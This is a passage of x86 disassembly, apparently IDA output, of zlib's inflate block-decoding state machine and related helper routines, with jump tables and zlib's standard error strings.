switch 10 cases ja loc_50C550 ; default jmp ds:off_50C588[eax*4] ; switch jump loc_50BC9D: ; DATA XREF: _5:off_50C588o mov edi, [ebp+var_4] ; jumptable 0050BC96 case 0 mov esi, [ebp+arg_0] mov edx, [ebp+var_10] cmp edi, 3 jnb short loc_50BCD7 loc_50BCAB: ; CODE XREF: sub_50BC4B+8Aj cmp [ebp+var_8], 0 jz loc_50C28C movzx eax, byte ptr [edx] and [ebp+arg_8], 0 dec [ebp+var_8] mov ecx, edi add edi, 8 shl eax, cl mov [ebp+var_4], edi or esi, eax inc edx cmp edi, 3 mov [ebp+arg_0], esi mov [ebp+var_10], edx jb short loc_50BCAB loc_50BCD7: ; CODE XREF: sub_50BC4B+5Ej mov eax, esi and eax, 7 mov ecx, eax shr eax, 1 and ecx, 1 sub eax, 0 mov [ebx+18h], ecx jz short loc_50BD5B dec eax jz short loc_50BD0D dec eax jz short loc_50BCFA dec eax jz loc_50C2A7 jmp short loc_50BC8B ; --------------------------------------------------------------------------- loc_50BCFA: ; CODE XREF: sub_50BC4B+A4j push 3 pop eax shr esi, 3 sub edi, eax mov [ebp+arg_0], esi mov [ebp+var_4], edi jmp loc_50BDE7 ; --------------------------------------------------------------------------- loc_50BD0D: ; CODE XREF: sub_50BC4B+A1j mov edi, [ebp+arg_4] lea eax, [ebp+var_1C] push edi push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_28] push eax call sub_50D8AF push edi push [ebp+var_1C] push [ebp+var_20] push [ebp+var_24] push [ebp+var_28] call sub_50C5E6 add esp, 28h mov [ebx+4], eax test eax, eax jz loc_50C2D7 shr esi, 3 sub [ebp+var_4], 3 mov [ebp+arg_0], esi mov dword ptr [ebx], 6 jmp loc_50BC8B ; --------------------------------------------------------------------------- loc_50BD5B: ; CODE XREF: sub_50BC4B+9Ej sub edi, 3 mov dword ptr [ebx], 1 mov ecx, edi and ecx, 7 shr esi, 3 shr esi, cl sub edi, ecx mov [ebp+var_4], edi mov [ebp+arg_0], esi jmp loc_50BC8B ; --------------------------------------------------------------------------- loc_50BD7B: ; CODE XREF: sub_50BC4B+4Bj ; DATA XREF: _5:off_50C588o mov ecx, [ebp+var_4] ; jumptable 0050BC96 case 1 mov esi, [ebp+arg_0] cmp ecx, 20h jnb short loc_50BDAF mov edx, [ebp+var_10] xor edi, edi loc_50BD8B: ; CODE XREF: sub_50BC4B+160j cmp [ebp+var_8], edi jz loc_50C300 movzx eax, byte ptr [edx] dec [ebp+var_8] mov [ebp+arg_8], edi shl eax, cl add ecx, 8 or esi, eax inc edx cmp ecx, 20h mov [ebp+var_10], edx jb short loc_50BD8B jmp short loc_50BDB2 ; --------------------------------------------------------------------------- loc_50BDAF: ; CODE XREF: sub_50BC4B+139j mov edx, [ebp+var_10] loc_50BDB2: ; CODE XREF: sub_50BC4B+162j mov edi, esi mov eax, esi not edi and eax, 0FFFFh shr edi, 10h xor edi, eax jnz loc_50C30E mov [ebx+4], eax xor eax, eax cmp [ebx+4], eax mov [ebp+var_4], eax mov [ebp+arg_0], eax jz short loc_50BDDD push 2 pop eax jmp short loc_50BDE7 ; --------------------------------------------------------------------------- loc_50BDDD: ; CODE XREF: sub_50BC4B+18Bj ; sub_50BC4B+288j mov eax, [ebx+18h] neg eax sbb eax, eax and eax, 7 loc_50BDE7: ; CODE XREF: sub_50BC4B+BDj ; sub_50BC4B+190j mov [ebx], eax jmp loc_50BC8B ; --------------------------------------------------------------------------- loc_50BDEE: ; CODE XREF: sub_50BC4B+4Bj ; DATA XREF: _5:off_50C588o cmp [ebp+var_8], 0 ; jumptable 0050BC96 case 2 jz loc_50C326 mov ecx, [ebp+var_14] test ecx, ecx jnz loc_50BE93 mov ecx, [ebx+2Ch] mov edx, [ebp+var_C] cmp edx, ecx jnz short loc_50BE30 mov eax, [ebx+30h] mov esi, [ebx+28h] cmp eax, esi jz short loc_50BE30 mov edx, esi cmp edx, eax mov [ebp+var_C], edx jnb short loc_50BE27 sub eax, edx dec eax mov ecx, eax jmp short loc_50BE29 ; --------------------------------------------------------------------------- loc_50BE27: ; CODE XREF: sub_50BC4B+1D3j sub ecx, edx loc_50BE29: ; CODE XREF: sub_50BC4B+1DAj test ecx, ecx mov [ebp+var_14], ecx jnz short loc_50BE93 loc_50BE30: ; CODE XREF: sub_50BC4B+1C0j ; sub_50BC4B+1CAj push [ebp+arg_8] mov esi, [ebp+arg_4] mov [ebx+34h], edx push esi push ebx call sub_50D8DE mov edx, [ebx+34h] mov [ebp+arg_8], eax mov eax, [ebx+30h] add esp, 0Ch cmp edx, eax mov [ebp+var_C], edx jnb short loc_50BE5A mov ecx, eax sub ecx, edx dec ecx jmp short loc_50BE5F ; --------------------------------------------------------------------------- loc_50BE5A: ; CODE XREF: sub_50BC4B+206j mov ecx, [ebx+2Ch] sub ecx, edx loc_50BE5F: ; CODE XREF: sub_50BC4B+20Dj mov edi, [ebx+2Ch] mov [ebp+var_14], ecx cmp edx, edi mov [ebp+var_18], edi jnz short loc_50BE8B mov edi, [ebx+28h] cmp eax, edi jz short loc_50BE8B mov edx, edi cmp edx, eax mov [ebp+var_C], edx jnb short loc_50BE83 sub eax, edx dec eax mov ecx, eax jmp short loc_50BE88 ; --------------------------------------------------------------------------- loc_50BE83: ; CODE XREF: sub_50BC4B+22Fj mov ecx, [ebp+var_18] sub ecx, edx loc_50BE88: ; CODE XREF: sub_50BC4B+236j mov [ebp+var_14], ecx loc_50BE8B: ; CODE XREF: sub_50BC4B+21Fj ; sub_50BC4B+226j test ecx, ecx jz loc_50C347 loc_50BE93: ; CODE XREF: sub_50BC4B+1B2j ; sub_50BC4B+1E3j mov eax, [ebx+4] and [ebp+arg_8], 0 cmp eax, [ebp+var_8] jbe short loc_50BEA2 mov eax, [ebp+var_8] loc_50BEA2: ; CODE XREF: sub_50BC4B+252j cmp eax, ecx jbe short loc_50BEA8 mov eax, ecx loc_50BEA8: ; CODE XREF: sub_50BC4B+259j mov esi, [ebp+var_10] mov edi, [ebp+var_C] mov ecx, eax add [ebp+var_10], eax mov edx, ecx sub [ebp+var_8], eax shr ecx, 2 rep movsd add [ebp+var_C], eax sub [ebp+var_14], eax mov ecx, edx and ecx, 3 rep movsb sub [ebx+4], eax jnz loc_50BC8B jmp loc_50BDDD ; --------------------------------------------------------------------------- loc_50BED8: ; CODE XREF: sub_50BC4B+4Bj ; DATA XREF: _5:off_50C588o mov ecx, [ebp+var_4] ; jumptable 0050BC96 case 3 mov edi, [ebp+var_10] cmp ecx, 0Eh jnb short loc_50BF08 loc_50BEE3: ; CODE XREF: sub_50BC4B+2BBj cmp [ebp+var_8], 0 jz loc_50C370 movzx eax, byte ptr [edi] and [ebp+arg_8], 0 dec [ebp+var_8] shl eax, cl add ecx, 8 mov [ebp+var_4], ecx or [ebp+arg_0], eax inc edi cmp ecx, 0Eh jb short loc_50BEE3 loc_50BF08: ; CODE XREF: sub_50BC4B+296j mov eax, [ebp+arg_0] and eax, 3FFFh mov ecx, eax mov [ebx+4], eax and ecx, 1Fh cmp ecx, 1Dh ja loc_50C3C2 mov edx, eax and edx, 3E0h cmp edx, 3A0h ja loc_50C3C2 mov esi, [ebp+arg_4] push 4 shr eax, 5 and eax, 1Fh lea eax, [eax+ecx+102h] push eax push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [ebx+0Ch], eax test eax, eax jz loc_50C39A shr [ebp+arg_0], 0Eh sub [ebp+var_4], 0Eh and dword ptr [ebx+8], 0 mov dword ptr [ebx], 4 jmp short loc_50BF76 ; --------------------------------------------------------------------------- loc_50BF70: ; CODE XREF: sub_50BC4B+4Bj ; DATA XREF: _5:off_50C588o mov edi, [ebp+var_10] ; jumptable 0050BC96 case 4 mov esi, [ebp+arg_4] loc_50BF76: ; CODE XREF: sub_50BC4B+323j mov eax, [ebx+4] shr eax, 0Ah add eax, 4 cmp [ebx+8], eax jnb short loc_50BFDF loc_50BF84: ; CODE XREF: sub_50BC4B+392j mov ecx, [ebp+var_4] loc_50BF87: ; CODE XREF: sub_50BC4B+361j cmp ecx, 3 jnb short loc_50BFAE cmp [ebp+var_8], 0 jz loc_50C432 movzx eax, byte ptr [edi] and [ebp+arg_8], 0 dec [ebp+var_8] shl eax, cl or [ebp+arg_0], eax inc edi add ecx, 8 mov [ebp+var_4], ecx jmp short loc_50BF87 ; --------------------------------------------------------------------------- loc_50BFAE: ; CODE XREF: sub_50BC4B+33Fj mov ecx, [ebx+8] mov eax, [ebp+arg_0] mov edx, [ebx+0Ch] and eax, 7 mov ecx, ds:dword_50E060[ecx*4] sub [ebp+var_4], 3 shr [ebp+arg_0], 3 mov [edx+ecx*4], eax mov ecx, [ebx+4] inc dword ptr [ebx+8] mov eax, [ebx+8] shr ecx, 0Ah add ecx, 4 cmp eax, ecx jb short loc_50BF84 loc_50BFDF: ; CODE XREF: sub_50BC4B+337j ; sub_50BC4B+3AEj cmp dword ptr [ebx+8], 13h jnb short loc_50BFFB mov eax, [ebx+8] mov ecx, [ebx+0Ch] mov eax, ds:dword_50E060[eax*4] and dword ptr [ecx+eax*4], 0 inc dword ptr [ebx+8] jmp short loc_50BFDF ; --------------------------------------------------------------------------- loc_50BFFB: ; CODE XREF: sub_50BC4B+398j push esi lea ecx, [ebx+14h] push dword ptr [ebx+24h] lea eax, [ebx+10h] push ecx push eax push dword ptr [ebx+0Ch] mov dword ptr [eax], 7 call sub_50D3A6 add esp, 14h mov [ebp+var_14], eax test eax, eax jnz loc_50C3F2 and [ebx+8], eax mov dword ptr [ebx], 5 jmp short loc_50C034 ; --------------------------------------------------------------------------- loc_50C02E: ; CODE XREF: sub_50BC4B+4Bj ; DATA XREF: _5:off_50C588o mov edi, [ebp+var_10] ; jumptable 0050BC96 case 5 mov esi, [ebp+arg_4] loc_50C034: ; CODE XREF: sub_50BC4B+3E1j ; sub_50BC4B+46Bj ... mov eax, [ebx+4] mov ecx, [ebx+8] mov edx, eax and eax, 1Fh shr edx, 5 and edx, 1Fh lea eax, [edx+eax+102h] cmp ecx, eax jnb loc_50C178 mov eax, [ebx+10h] loc_50C057: ; CODE XREF: sub_50BC4B+432j cmp [ebp+var_4], eax jnb short loc_50C07F cmp [ebp+var_8], 0 jz loc_50C432 movzx edx, byte ptr [edi] mov ecx, [ebp+var_4] and [ebp+arg_8], 0 dec [ebp+var_8] shl edx, cl or [ebp+arg_0], edx inc edi add [ebp+var_4], 8 jmp short loc_50C057 ; --------------------------------------------------------------------------- loc_50C07F: ; CODE XREF: sub_50BC4B+40Fj mov eax, ds:dword_510318[eax*4] mov ecx, [ebx+14h] and eax, [ebp+arg_0] mov edx, [ecx+eax*8+4] lea eax, [ecx+eax*8] cmp edx, 10h mov [ebp+var_18], edx movzx ecx, byte ptr [eax+1] mov [ebp+var_14], ecx jnb short loc_50C0BB shr [ebp+arg_0], cl mov eax, ecx mov ecx, [ebx+0Ch] sub [ebp+var_4], eax mov eax, [ebx+8] mov [ecx+eax*4], edx inc dword ptr [ebx+8] jmp loc_50C034 ; --------------------------------------------------------------------------- loc_50C0BB: ; CODE XREF: sub_50BC4B+455j cmp edx, 12h jnz short loc_50C0C5 push 7 pop eax jmp short loc_50C0C8 ; --------------------------------------------------------------------------- loc_50C0C5: ; CODE XREF: sub_50BC4B+473j lea eax, [edx-0Eh] loc_50C0C8: ; CODE XREF: sub_50BC4B+478j xor ecx, ecx cmp edx, 12h setnz cl dec ecx and ecx, 8 add ecx, 3 mov [ebp+var_10], ecx loc_50C0DA: ; CODE XREF: sub_50BC4B+4BBj mov ecx, [ebp+var_14] lea edx, [eax+ecx] cmp [ebp+var_4], edx jnb short loc_50C108 cmp [ebp+var_8], 0 jz loc_50C432 movzx edx, byte ptr [edi] mov ecx, [ebp+var_4] and [ebp+arg_8], 0 dec [ebp+var_8] shl edx, cl or [ebp+arg_0], edx inc edi add [ebp+var_4], 8 jmp short loc_50C0DA ; --------------------------------------------------------------------------- loc_50C108: ; CODE XREF: sub_50BC4B+498j shr [ebp+arg_0], cl mov ecx, ds:dword_510318[eax*4] and ecx, [ebp+arg_0] add [ebp+var_10], ecx mov ecx, eax shr [ebp+arg_0], cl mov ecx, [ebp+var_14] add eax, ecx mov ecx, [ebx+8] sub [ebp+var_4], eax mov eax, [ebx+4] mov edx, eax and eax, 1Fh shr edx, 5 and edx, 1Fh lea eax, [edx+eax+102h] mov edx, [ebp+var_10] add edx, ecx cmp edx, eax ja loc_50C456 cmp [ebp+var_18], 10h jnz short loc_50C162 cmp ecx, 1 jb loc_50C456 mov eax, [ebx+0Ch] mov eax, [eax+ecx*4-4] jmp short loc_50C164 ; --------------------------------------------------------------------------- loc_50C162: ; CODE XREF: sub_50BC4B+503j xor eax, eax loc_50C164: ; CODE XREF: sub_50BC4B+515j ; sub_50BC4B+523j mov edx, [ebx+0Ch] mov [edx+ecx*4], eax inc ecx dec [ebp+var_10] jnz short loc_50C164 mov [ebx+8], ecx jmp loc_50C034 ; --------------------------------------------------------------------------- loc_50C178: ; CODE XREF: sub_50BC4B+403j push esi lea ecx, [ebp+var_2C] push dword ptr [ebx+24h] mov eax, [ebx+4] and dword ptr [ebx+14h], 0 mov [ebp+var_18], 9 push ecx lea ecx, [ebp+var_30] push ecx lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_18] push ecx mov ecx, eax push dword ptr [ebx+0Ch] and eax, 1Fh shr ecx, 5 and ecx, 1Fh add eax, 101h inc ecx mov [ebp+var_10], 6 push ecx push eax call sub_50D7AC add esp, 24h mov [ebp+var_14], eax test eax, eax jnz loc_50C49E push esi push [ebp+var_2C] push [ebp+var_30] push [ebp+var_10] push [ebp+var_18] call sub_50C5E6 add esp, 14h test eax, eax jz loc_50C39A push dword ptr [ebx+0Ch] mov [ebx+4], eax push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov dword ptr [ebx], 6 pop ecx jmp short loc_50C203 ; --------------------------------------------------------------------------- loc_50C1FD: ; CODE XREF: sub_50BC4B+4Bj ; DATA XREF: _5:off_50C588o mov edi, [ebp+var_10] ; jumptable 0050BC96 case 6 mov esi, [ebp+arg_4] loc_50C203: ; CODE XREF: sub_50BC4B+5B0j mov eax, [ebp+arg_0] push [ebp+arg_8] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] push esi mov [esi], edi push ebx add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax call sub_50C61A add esp, 0Ch cmp eax, 1 jnz loc_50C4EE and [ebp+arg_8], 0 push esi push dword ptr [ebx+4] call sub_50CBD8 mov eax, [esi+4] mov edi, [esi] mov [ebp+var_8], eax mov eax, [ebx+20h] pop ecx mov [ebp+arg_0], eax mov eax, [ebx+1Ch] pop ecx mov ecx, [ebx+34h] mov [ebp+var_4], eax mov eax, [ebx+30h] mov [ebp+var_10], edi cmp ecx, eax mov [ebp+var_C], ecx jnb short loc_50C272 sub eax, ecx dec eax jmp short loc_50C277 ; --------------------------------------------------------------------------- loc_50C272: ; CODE XREF: sub_50BC4B+620j mov eax, [ebx+2Ch] sub eax, ecx loc_50C277: ; CODE XREF: sub_50BC4B+625j cmp dword ptr [ebx+18h], 0 mov [ebp+var_14], eax jnz loc_50C4A7 and dword ptr [ebx], 0 jmp loc_50BC8B ; --------------------------------------------------------------------------- loc_50C28C: ; CODE XREF: sub_50BC4B+64j mov eax, [ebp+arg_4] mov [ebx+20h], esi mov [ebx+1Ch], edi and dword ptr [eax+4], 0 loc_50C299: ; CODE XREF: sub_50BC4B+6C1j mov ecx, edx sub ecx, [eax] mov [eax], edx add [eax+8], ecx jmp loc_50C38C ; --------------------------------------------------------------------------- loc_50C2A7: ; CODE XREF: sub_50BC4B+A7j mov eax, [ebp+arg_4] mov dword ptr [ebx], 9 shr esi, 3 add edi, 0FFFFFFFDh mov dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type" mov [ebx+20h], esi mov [ebx+1Ch], edi loc_50C2C3: ; CODE XREF: sub_50BC4B+6D9j mov ecx, [ebp+var_8] mov [eax+4], ecx mov ecx, edx sub ecx, [eax] mov [eax], edx add [eax+8], ecx jmp loc_50C546 ; --------------------------------------------------------------------------- loc_50C2D7: ; CODE XREF: sub_50BC4B+F5j mov eax, [ebp+var_4] mov [ebx+20h], esi mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [edi+4], eax mov eax, [ebp+var_10] mov ecx, eax push 0FFFFFFFCh sub ecx, [edi] mov [edi], eax mov eax, [ebp+var_C] push edi add [edi+8], ecx mov [ebx+34h], eax jmp loc_50C57A ; --------------------------------------------------------------------------- loc_50C300: ; CODE XREF: sub_50BC4B+143j mov eax, [ebp+arg_4] mov [ebx+20h], esi mov [ebx+1Ch], ecx mov [eax+4], edi jmp short loc_50C299 ; --------------------------------------------------------------------------- loc_50C30E: ; CODE XREF: sub_50BC4B+177j mov eax, [ebp+arg_4] mov dword ptr [ebx], 9 mov dword ptr [eax+18h], offset aInvalidStoredB ; "invalid stored block lengths" mov [ebx+20h], esi mov [ebx+1Ch], ecx jmp short loc_50C2C3 ; --------------------------------------------------------------------------- loc_50C326: ; CODE XREF: sub_50BC4B+1A7j mov eax, [ebp+arg_0] mov ecx, [ebp+var_10] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] mov edx, ecx sub edx, [eax] and dword ptr [eax+4], 0 mov [eax], ecx add [eax+8], edx jmp short loc_50C38C ; --------------------------------------------------------------------------- loc_50C347: ; CODE XREF: sub_50BC4B+242j mov eax, [ebp+arg_0] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_10] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [ebx+34h], edx loc_50C368: ; CODE XREF: sub_50BC4B+806j push [ebp+arg_8] jmp loc_50C522 ; --------------------------------------------------------------------------- loc_50C370: ; CODE XREF: sub_50BC4B+29Cj mov eax, [ebp+arg_0] mov ecx, edi mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] sub ecx, [eax] and dword ptr [eax+4], 0 mov [eax], edi add [eax+8], ecx loc_50C38C: ; CODE XREF: sub_50BC4B+657j ; sub_50BC4B+6FAj mov ecx, [ebp+var_C] push [ebp+arg_8] mov [ebx+34h], ecx jmp loc_50C579 ; --------------------------------------------------------------------------- loc_50C39A: ; CODE XREF: sub_50BC4B+30Bj ; sub_50BC4B+596j mov eax, [ebp+arg_0] push 0FFFFFFFCh mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax jmp loc_50C522 ; --------------------------------------------------------------------------- loc_50C3C2: ; CODE XREF: sub_50BC4B+2D0j ; sub_50BC4B+2E4j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] mov dword ptr [ebx], 9 mov dword ptr [eax+18h], offset aTooManyLengthO ; "too many length or distance symbols" mov [ebx+20h], ecx mov ecx, [ebp+var_4] mov [ebx+1Ch], ecx mov ecx, [ebp+var_8] mov [eax+4], ecx mov ecx, edi sub ecx, [eax] mov [eax], edi add [eax+8], ecx jmp loc_50C546 ; --------------------------------------------------------------------------- loc_50C3F2: ; CODE XREF: sub_50BC4B+3D2j cmp [ebp+var_14], 0FFFFFFFDh loc_50C3F6: ; CODE XREF: sub_50BC4B+857j jnz short loc_50C409 push dword ptr [ebx+0Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov dword ptr [ebx], 9 pop ecx loc_50C409: ; CODE XREF: sub_50BC4B:loc_50C3F6j mov eax, [ebp+arg_0] push [ebp+var_14] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax jmp loc_50C522 ; --------------------------------------------------------------------------- loc_50C432: ; CODE XREF: sub_50BC4B+345j ; sub_50BC4B+415j ... mov eax, [ebp+arg_0] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax and dword ptr [esi+4], 0 mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax jmp loc_50C368 ; --------------------------------------------------------------------------- loc_50C456: ; CODE XREF: sub_50BC4B+4F9j ; sub_50BC4B+508j push dword ptr [ebx+0Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] mov eax, [ebp+arg_0] mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aInvalidBitLeng ; "invalid bit length repeat" mov [ebx+20h], eax mov eax, [ebp+var_4] push 0FFFFFFFDh mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] push esi mov [esi], edi push ebx add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax call sub_50D8DE add esp, 14h jmp loc_50C583 ; --------------------------------------------------------------------------- loc_50C49E: ; CODE XREF: sub_50BC4B+579j cmp [ebp+var_14], 0FFFFFFFDh jmp loc_50C3F6 ; --------------------------------------------------------------------------- loc_50C4A7: ; CODE XREF: sub_50BC4B+633j mov dword ptr [ebx], 7 jmp short loc_50C4B8 ; --------------------------------------------------------------------------- loc_50C4AF: ; CODE XREF: sub_50BC4B+4Bj ; DATA XREF: _5:off_50C588o mov edi, [ebp+var_10] ; jumptable 0050BC96 case 7 mov esi, [ebp+arg_4] mov ecx, [ebp+var_C] loc_50C4B8: ; CODE XREF: sub_50BC4B+862j push [ebp+arg_8] mov [ebx+34h], ecx push esi push ebx call sub_50D8DE mov ecx, [ebx+34h] add esp, 0Ch cmp [ebx+30h], ecx jz short loc_50C4F1 mov edx, [ebp+arg_0] mov [ebx+20h], edx mov edx, [ebp+var_4] mov [ebx+1Ch], edx mov edx, [ebp+var_8] mov [esi+4], edx mov edx, edi sub edx, [esi] mov [esi], edi add [esi+8], edx mov [ebx+34h], ecx loc_50C4EE: ; CODE XREF: sub_50BC4B+5E9j push eax jmp short loc_50C522 ; --------------------------------------------------------------------------- loc_50C4F1: ; CODE XREF: sub_50BC4B+883j mov dword ptr [ebx], 8 jmp short loc_50C502 ; --------------------------------------------------------------------------- loc_50C4F9: ; CODE XREF: sub_50BC4B+4Bj ; DATA XREF: _5:off_50C588o mov edi, [ebp+var_10] ; jumptable 0050BC96 case 8 mov esi, [ebp+arg_4] mov ecx, [ebp+var_C] loc_50C502: ; CODE XREF: sub_50BC4B+8ACj mov eax, [ebp+arg_0] push 1 mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov [ebx+34h], ecx loc_50C522: ; CODE XREF: sub_50BC4B+720j ; sub_50BC4B+772j ... push esi jmp short loc_50C57A ; --------------------------------------------------------------------------- loc_50C525: ; CODE XREF: sub_50BC4B+4Bj ; DATA XREF: _5:off_50C588o mov eax, [ebp+arg_0] ; jumptable 0050BC96 case 9 mov ecx, [ebp+var_8] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] mov [eax+4], ecx mov ecx, [ebp+var_10] mov edx, ecx sub edx, [eax] mov [eax], ecx add [eax+8], edx loc_50C546: ; CODE XREF: sub_50BC4B+687j ; sub_50BC4B+7A2j mov ecx, [ebp+var_C] push 0FFFFFFFDh mov [ebx+34h], ecx jmp short loc_50C579 ; --------------------------------------------------------------------------- loc_50C550: ; CODE XREF: sub_50BC4B+45j mov eax, [ebp+arg_0] ; default mov ecx, [ebp+var_8] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] push 0FFFFFFFEh mov [eax+4], ecx mov ecx, [ebp+var_10] mov edx, ecx sub edx, [eax] mov [eax], ecx mov ecx, [ebp+var_C] add [eax+8], edx mov [ebx+34h], ecx loc_50C579: ; CODE XREF: sub_50BC4B+74Aj ; sub_50BC4B+903j push eax loc_50C57A: ; CODE XREF: sub_50BC4B+6B0j ; sub_50BC4B+8D8j push ebx call sub_50D8DE add esp, 0Ch loc_50C583: ; CODE XREF: sub_50BC4B+84Ej pop edi pop esi pop ebx leave retn sub_50BC4B endp ; --------------------------------------------------------------------------- off_50C588 dd offset loc_50BC9D ; DATA XREF: sub_50BC4B+4Br dd offset loc_50BD7B ; jump table for switch statement dd offset loc_50BDEE dd offset loc_50BED8 dd offset loc_50BF70 dd offset loc_50C02E dd offset loc_50C1FD dd offset loc_50C4AF dd offset loc_50C4F9 dd offset loc_50C525 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50C5B0 proc near ; CODE XREF: sub_50CF00+21p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] push edi mov edi, [ebp+arg_0] push 0 push esi push edi call sub_50BB53 push dword ptr [edi+28h] push dword ptr [esi+28h] call dword ptr [esi+24h] push dword ptr [edi+24h] push dword ptr [esi+28h] call dword ptr [esi+24h] push edi push dword ptr [esi+28h] call dword ptr [esi+24h] add esp, 24h xor eax, eax pop edi pop esi pop ebp retn sub_50C5B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50C5E6 proc near ; CODE XREF: sub_50BC4B+E8p ; sub_50BC4B+58Cp arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, [ebp+arg_10] push 1Ch push 1 push dword ptr [eax+28h] call dword ptr [eax+20h] add esp, 0Ch test eax, eax jz short loc_50C618 mov cl, [ebp+arg_0] and dword ptr [eax], 0 mov [eax+10h], cl mov cl, [ebp+arg_4] mov [eax+11h], cl mov ecx, [ebp+arg_8] mov [eax+14h], ecx mov ecx, [ebp+arg_C] mov [eax+18h], ecx loc_50C618: ; CODE XREF: sub_50C5E6+15j pop ebp retn sub_50C5E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50C61A proc near ; CODE XREF: sub_50BC4B+5DEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push ebx push esi mov esi, [ebp+arg_4] push edi mov edi, [ebp+arg_0] mov eax, [esi] mov [ebp+var_4], eax mov eax, [esi+4] mov edx, [edi+34h] mov [ebp+var_8], eax mov eax, [edi+20h] mov ebx, [edi+4] mov [ebp+arg_4], eax mov eax, [edi+1Ch] mov [ebp+arg_0], eax mov eax, [edi+30h] cmp edx, eax jnb short loc_50C652 sub eax, edx dec eax jmp short loc_50C657 ; --------------------------------------------------------------------------- loc_50C652: ; CODE XREF: sub_50C61A+31j mov eax, [edi+2Ch] sub eax, edx loc_50C657: ; CODE XREF: sub_50C61A+36j mov [ebp+var_C], eax loc_50C65A: ; CODE XREF: sub_50C61A+E9j ; sub_50C61A+16Ej ... mov ecx, [ebx] cmp ecx, 9 ; switch 10 cases ja loc_50CB7E ; default jmp ds:off_50CBB0[ecx*4] ; switch jump loc_50C66C: ; DATA XREF: _5:off_50CBB0o cmp eax, 102h ; jumptable 0050C665 case 0 jb loc_50C708 cmp [ebp+var_8], 0Ah jb loc_50C708 mov eax, [ebp+arg_4] push esi mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax push edi sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx push dword ptr [ebx+18h] movzx eax, byte ptr [ebx+11h] push dword ptr [ebx+14h] push eax movzx eax, byte ptr [ebx+10h] push eax call sub_50CBEB mov [ebp+arg_8], eax mov eax, [esi] mov [ebp+var_4], eax mov eax, [esi+4] mov edx, [edi+34h] mov [ebp+var_8], eax mov eax, [edi+20h] add esp, 18h mov [ebp+arg_4], eax mov eax, [edi+1Ch] mov [ebp+arg_0], eax mov eax, [edi+30h] cmp edx, eax jnb short loc_50C6E5 sub eax, edx dec eax jmp short loc_50C6EA ; --------------------------------------------------------------------------- loc_50C6E5: ; CODE XREF: sub_50C61A+C4j mov eax, [edi+2Ch] sub eax, edx loc_50C6EA: ; CODE XREF: sub_50C61A+C9j cmp [ebp+arg_8], 0 mov [ebp+var_C], eax jz short loc_50C708 mov ecx, [ebp+arg_8] dec ecx neg ecx sbb ecx, ecx and ecx, 2 add ecx, 7 mov [ebx], ecx jmp loc_50C65A ; --------------------------------------------------------------------------- loc_50C708: ; CODE XREF: sub_50C61A+57j ; sub_50C61A+61j ... movzx eax, byte ptr [ebx+10h] mov [ebx+0Ch], eax mov eax, [ebx+14h] mov [ebx+8], eax mov dword ptr [ebx], 1 loc_50C71B: ; CODE XREF: sub_50C61A+4Bj ; sub_50C61A+12Fj ; DATA XREF: ... mov eax, [ebx+0Ch] ; jumptable 0050C665 case 1 cmp [ebp+arg_0], eax jnb short loc_50C74B cmp [ebp+var_8], 0 jz loc_50CA88 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl 